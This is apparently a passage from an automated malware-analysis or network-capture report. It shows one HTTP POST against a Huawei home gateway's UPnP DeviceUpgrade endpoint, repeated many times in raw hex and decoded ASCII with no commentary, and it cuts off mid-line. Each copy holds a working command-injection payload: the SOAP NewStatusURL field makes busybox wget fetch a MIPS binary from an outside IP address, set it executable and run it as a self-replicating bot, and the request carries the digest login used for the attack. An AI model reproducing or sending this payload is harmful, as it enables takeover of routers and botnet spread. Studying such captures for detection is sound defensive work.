73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data 